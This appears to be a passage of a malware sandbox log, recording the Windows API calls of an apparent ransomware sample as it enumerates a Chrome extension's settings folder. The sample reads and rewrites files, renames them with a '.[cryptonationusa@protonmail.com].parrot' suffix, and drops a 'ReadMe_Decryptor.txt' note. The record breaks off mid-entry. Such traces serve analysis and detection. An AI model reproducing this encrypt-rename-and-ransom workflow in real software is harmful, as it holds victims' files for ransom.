[0075.265] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0075.265] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.265] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2B03.tmp", cAlternateFileName="")) returned 1 [0075.266] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2B04.tmp", cAlternateFileName="")) returned 1 [0075.266] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2B04.tmp", cAlternateFileName="")) returned 0 [0075.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0075.266] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0075.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb2e0 | out: hHeap=0x5b0000) returned 1 [0075.266] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local Extension Settings", cAlternateFileName="LOCALE~1")) returned 1 [0075.266] lstrcmpW (lpString1="Local Extension Settings", lpString2=".") returned 1 [0075.266] lstrcmpW (lpString1="Local Extension Settings", lpString2="..") returned 1 [0075.266] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0075.266] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.266] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.266] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.266] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.266] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86513570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 1 [0075.266] lstrcmpW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2=".") returned 1 [0075.266] lstrcmpW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="..") returned 1 [0075.267] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0075.268] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.268] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86513570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.269] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.269] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.269] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86513570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86513570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0075.269] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0075.269] lstrcmpW (lpString1="CURRENT", lpString2="ReadMe_Decryptor.txt") returned -1 [0075.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0075.270] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e390 | out: lpFileSizeHigh=0x18e390*=0x0) returned 0x10 [0075.270] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.270] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0075.270] CloseHandle (hObject=0x270) returned 1 [0075.270] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0075.270] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97256fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0075.270] lstrcmpW (lpString1="LOG", lpString2="ReadMe_Decryptor.txt") returned -1 [0075.270] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0075.270] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e390 | out: lpFileSizeHigh=0x18e390*=0x0) returned 0xc4 [0075.271] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.271] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.271] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0075.272] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.272] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xc4, lpOverlapped=0x0) returned 1 [0075.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0075.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0075.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0075.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6a9fe8 [0075.272] GetLastError () returned 0x0 [0075.272] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0075.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0075.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0075.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0075.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0075.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0075.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0075.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0075.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0075.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0075.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0075.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0075.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0075.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0075.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0075.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0075.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0075.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0075.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0075.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1e8) returned 0x5cff58 [0075.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0075.273] WriteFile (in: hFile=0x270, lpBuffer=0x5cff58*, nNumberOfBytesToWrite=0x1e8, lpNumberOfBytesWritten=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x5cff58*, lpNumberOfBytesWritten=0x18e314*=0x1e8, lpOverlapped=0x0) returned 1 [0075.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.273] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.273] CloseHandle (hObject=0x270) returned 1 [0075.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9148 [0075.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1ae) returned 0x5cff58 [0075.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0075.274] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31898f8 | out: hHeap=0x5b0000) returned 1 [0075.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3175858 | out: hHeap=0x5b0000) returned 1 [0075.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d9148 [0075.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x31761b8 [0075.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0075.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0075.275] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0075.276] GetFileType (hFile=0x270) returned 0x1 [0075.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x6a9fe8 [0075.355] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x141, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.355] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.355] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0075.356] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.356] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x29, lpOverlapped=0x0) returned 1 [0075.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.356] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0075.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0075.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0075.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6a9fe8 [0075.357] GetLastError () returned 0x0 [0075.357] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0075.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0075.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0075.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0075.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0075.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0075.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0075.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0075.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0075.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0075.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0075.358] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x141, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.358] CloseHandle (hObject=0x27c) returned 1 [0075.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0075.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5cff58 [0075.359] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.362] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0075.362] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba65e180, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba65e180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.362] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86513570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86513570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0075.362] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0075.362] lstrcmpW (lpString1="CURRENT", lpString2="ReadMe_Decryptor.txt") returned -1 [0075.362] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x69b108 [0075.362] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, 